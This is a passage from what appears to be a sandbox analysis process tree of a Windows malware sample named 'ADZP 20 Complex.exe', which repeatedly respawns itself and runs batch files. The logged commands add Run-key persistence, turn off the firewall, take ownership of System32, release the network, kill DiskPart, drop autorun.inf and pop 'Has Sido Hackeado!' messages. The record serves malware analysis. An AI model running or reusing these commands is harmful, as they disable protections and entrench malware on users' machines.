        attrib -r -a -s -h *.*
        5⤵
        Drops desktop.ini file(s)
        Drops autorun.inf file
        Views/modifies file attributes
        
        PID:6852
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        5⤵
        
        PID:7532
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        5⤵
        
        PID:7656
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        5⤵
        
        PID:7772
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        5⤵
        
        PID:7924
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        5⤵
        
        PID:8100
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        5⤵
        
        PID:7356
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        5⤵
        
        PID:336
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        5⤵
        
        PID:3852
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        5⤵
        
        PID:8200
    - - C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        5⤵
        
        PID:8252
    - - C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        5⤵
        
        PID:8432
    - - C:\Windows\system32\msg.exe
        
        msg * Has Sido Hackeado!
        5⤵
        
        PID:8488
    - - C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        5⤵
        Executes dropped EXE
        
        PID:8532
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\A328.tmp\BE52.tmp\BE53.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
        6⤵
        
        PID:2400
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        7⤵
        
        PID:7080
        
        C:\Windows\system32\reg.exe
        
        REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Twain_20.cmd"
        8⤵
        
        PID:9524
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        7⤵
        Modifies Windows Firewall
        
        PID:7288
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        7⤵
        
        PID:4468
        
        C:\Windows\system32\reg.exe
        
        REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Twain_20.cmd"
        8⤵
        
        PID:8268
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
        7⤵
        
        PID:9324
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        
        PID:8584
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        Modifies file permissions
        
        PID:3124
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        7⤵
        
        PID:2536
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        7⤵
        
        PID:468
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        7⤵
        Gathers network information
        
        PID:6240
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /im DiskPart /f
        7⤵
        Kills process with taskkill
        
        PID:10492
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        7⤵
        Views/modifies file attributes
        
        PID:10948
        
        C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        7⤵
        
        PID:6312
        
        C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        7⤵
        
        PID:8204
        
        C:\Windows\system32\msg.exe
        
        msg * Has Sido Hackeado!
        7⤵
        
        PID:7944
        
        C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        7⤵
        
        PID:9924
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\E02E.tmp\E03E.tmp\E03F.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
        8⤵
        
        PID:6052
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        9⤵
        
        PID:8944
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        9⤵
        Modifies Windows Firewall
        
        PID:6644
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:5660
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:5804
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:10304
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        7⤵
        
        PID:4568
        
        C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        7⤵
        
        PID:11512
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\AF45.tmp\AF46.tmp\AF47.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
        8⤵
        
        PID:11548
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:11668
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:11156
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:6332
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        7⤵
        
        PID:10948
        
        C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        7⤵
        
        PID:10512
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:7352
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:10644
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:12732
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        7⤵
        
        PID:13068
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        7⤵
        
        PID:11396
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        7⤵
        
        PID:7684
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        7⤵
        
        PID:10960
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        7⤵
        
        PID:4204
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        7⤵
        
        PID:10680
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        7⤵
        
        PID:13048
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:8540
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        Modifies registry class
        
        PID:8548
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        Modifies registry class
        
        PID:8556
    - - C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        5⤵
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:8564
    - - C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        5⤵
        Executes dropped EXE
        
        PID:8572
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\A4ED.tmp\BE43.tmp\BE44.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
        6⤵
        
        PID:8940
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        7⤵
        
        PID:5088
        
        C:\Windows\system32\reg.exe
        
        REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Twain_20.cmd"
        8⤵
        
        PID:9812
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        7⤵
        Modifies Windows Firewall
        
        PID:4312
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        7⤵
        
        PID:7632
        
        C:\Windows\system32\reg.exe
        
        REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Twain_20.cmd"
        8⤵
        
        PID:224
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
        7⤵
        
        PID:8376
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        
        PID:10068
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        Modifies file permissions
        
        PID:8516
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        7⤵
        
        PID:9528
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        7⤵
        
        PID:5132
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        7⤵
        Gathers network information
        
        PID:5616
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /im DiskPart /f
        7⤵
        Kills process with taskkill
        
        PID:10896
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        7⤵
        Views/modifies file attributes
        
        PID:11204
        
        C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        7⤵
        
        PID:10916
        
        C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        7⤵
        
        PID:10884
        
        C:\Windows\system32\msg.exe
        
        msg * Has Sido Hackeado!
        7⤵
        
        PID:3600
        
        C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        7⤵
        
        PID:7580
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\EE76.tmp\EE77.tmp\EE78.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
        8⤵
        
        PID:7608
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        9⤵
        
        PID:4996
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        9⤵
        
        PID:9196
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
        9⤵
        
        PID:11600
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        9⤵
        
        PID:12828
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:9652
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:10944
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:7128
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        7⤵
        
        PID:9208
        
        C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        7⤵
        
        PID:11532
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\A497.tmp\A498.tmp\A499.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
        8⤵
        
        PID:11220
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        9⤵
        
        PID:12264
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        9⤵
        Modifies Windows Firewall
        
        PID:12880
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
        9⤵
        
        PID:8128
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        9⤵
        
        PID:11100
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:11676
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:7972
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:12140
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        7⤵
        
        PID:9424
        
        C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        7⤵
        
        PID:2364
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:1760
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:12020
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:12744
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        7⤵
        
        PID:13104
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:8736
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        Modifies registry class
        
        PID:8744
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        Modifies registry class
        
        PID:8892
    - - C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        5⤵
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:8904
    - - C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        5⤵
        Executes dropped EXE
        
        PID:8912
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\AA8B.tmp\BE33.tmp\BE34.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
        6⤵
        
        PID:9172
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        7⤵
        
        PID:5820
        
        C:\Windows\system32\reg.exe
        
        REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Twain_20.cmd"
        8⤵
        
        PID:7480
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        7⤵
        Modifies Windows Firewall
        
        PID:8504
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        7⤵
        
        PID:5300
        
        C:\Windows\system32\reg.exe
        
        REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Twain_20.cmd"
        8⤵
        
        PID:6092
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
        7⤵
        
        PID:8044
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        7⤵
        
        PID:7316
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        8⤵
        Modifies file permissions
        
        PID:9540
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        7⤵
        
        PID:4480
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        7⤵
        
        PID:9088
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        7⤵
        Gathers network information
        
        PID:8336
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /im DiskPart /f
        7⤵
        Kills process with taskkill
        
        PID:10876
        
        C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        7⤵
        Views/modifies file attributes
        
        PID:11148
        
        C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        7⤵
        
        PID:10860
        
        C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        7⤵
        
        PID:7608
        
        C:\Windows\system32\msg.exe
        
        msg * Has Sido Hackeado!
        7⤵
        
        PID:9716
        
        C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        7⤵
        
        PID:10816
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:8448
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\ED00.tmp\ED10.tmp\ED20.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
        8⤵
        
        PID:11012
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        9⤵
        
        PID:4472
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        9⤵
        
        PID:11560
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
        9⤵
        
        PID:10652
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        9⤵
        
        PID:6064
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        9⤵
        
        PID:11704
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        9⤵
        Gathers network information
        
        PID:10492
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:10600
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:10860
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:3848
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        7⤵
        
        PID:8076
        
        C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        7⤵
        
        PID:11520
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\A4A7.tmp\A4A8.tmp\A4A9.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
        8⤵
        
        PID:7888
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        9⤵
        
        PID:9792
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        9⤵
        Modifies Windows Firewall
        
        PID:5252
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        9⤵
        
        PID:5556
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
        9⤵
        
        PID:8200
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        9⤵
        
        PID:8692
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        9⤵
        
        PID:6240
        
        C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        9⤵
        
        PID:11384
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        9⤵
        Gathers network information
        
        PID:10376
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:11688
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:8080
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:4480
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        7⤵
        
        PID:1720
        
        C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
        "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
        7⤵
        
        PID:4420
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\2FFF.tmp\3000.tmp\3010.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
        8⤵
        
        PID:10860
        
        C:\Windows\system32\notepad.exe
        
        notepad
        7⤵
        
        PID:9260
        
        C:\Windows\system32\calc.exe
        
        calc
        7⤵
        
        PID:6396
        
        C:\Windows\explorer.exe
        
        explorer.exe
        7⤵
        
        PID:12464
        
        C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        7⤵
        
        PID:12960
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        7⤵
        
        PID:11772
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        7⤵
        
        PID:3200
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        7⤵
        
        PID:9228
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        7⤵
        
        PID:4464
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        7⤵
        
        PID:11064
        
        C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        7⤵
        
        PID:4420
    - - C:\Windows\system32\notepad.exe
        
        notepad
        5⤵
        
        PID:8920
    - - C:\Windows\system32\calc.exe
        
        calc
        5⤵
        
        PID:8932
    - - C:\Windows\explorer.exe
        
        explorer.exe
        5⤵
        Modifies registry class
        
        PID:8940
    - - C:\Windows\system32\mspaint.exe
        
        mspaint.exe
        5⤵
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:8948
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        5⤵
        
        PID:6052
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        5⤵
        
        PID:3136
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        5⤵
        
        PID:6312
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        5⤵
        
        PID:7544
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        5⤵
        
        PID:7940
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        5⤵
        
        PID:9468
- - C:\Windows\system32\notepad.exe
    notepad
    3⤵
    PID:6112
- - C:\Windows\system32\calc.exe
    calc
    3⤵
    - Modifies registry class
    PID:4252
- - C:\Windows\explorer.exe
    explorer.exe
    3⤵
    - Modifies registry class
    PID:1288
- - C:\Windows\system32\mspaint.exe
    mspaint.exe
    3⤵
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3552
- - C:\Users\Admin\Desktop\ADZP 20 Complex.exe
    "C:\Users\Admin\Desktop\ADZP 20 Complex.exe"
    3⤵
    - Executes dropped EXE
    PID:1752
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\ABF7.tmp\ABF8.tmp\ABF9.bat "C:\Users\Admin\Desktop\ADZP 20 Complex.exe""
      4⤵
      Checks computer location settings
      Drops autorun.inf file
      Drops file in System32 directory
      Modifies registry class
      PID:3548
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        5⤵
        
        PID:3140
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:4252
      - C:\Windows\system32\reg.exe
        
        REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Twain_20 /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Twain_20.cmd"
        6⤵
        
        PID:6476
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Twain_20.cmd
        5⤵
        
        PID:6356
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Informacion.vbs"
        5⤵
        
        PID:6696
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K Taskdl.bat
        5⤵
        
        PID:6828
      - C:\Windows\system32\takeown.exe
        
        takeown /f "C:\Windows\System32" /r
        6⤵
        Modifies file permissions
        
        PID:844
    - - C:\Windows\system32\reg.exe
        
        reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
        5⤵
        
        PID:6040
    - - C:\Windows\system32\reg.exe
        
        reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
        5⤵
        
        PID:6160
    - - C:\Windows\system32\ipconfig.exe
        
        ipconfig /release
        5⤵
        Gathers network information
        
        PID:6312
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /im DiskPart /f
        5⤵
        Kills process with taskkill
        
        PID:6436
    - - C:\Windows\system32\attrib.exe
        
        attrib -r -a -s -h *.*
        5⤵
        Drops desktop.ini file(s)
        Drops autorun.inf file
        Views/modifies file attributes
        
        PID:6816
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        5⤵
        
        PID:7588
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        5⤵
        
        PID:7712
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        5⤵
        
        PID:7880
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        5⤵
        
        PID:8044
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        5⤵
        
        PID:7408
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        5⤵
        
        PID:5192
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\ErrorCritico.vbs"
        5⤵
        
        PID:6780
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        5⤵
        
        PID:3252
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\Advertencia.vbs"
        5⤵
        
        PID:8292
    - - C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        5⤵
        
        PID:8400
    - - C:\Windows\system32\msg.exe
        
        msg * Virus Detectado
        5⤵
        
        PID:8468
    - - C:\Windows\system32\msg.exe
        
        msg * Has Sido Hackeado!
        5⤵
        
        PID:8512
    - - C:\Users\Admin\Desktop\ADZP 20 Complex.exe
        
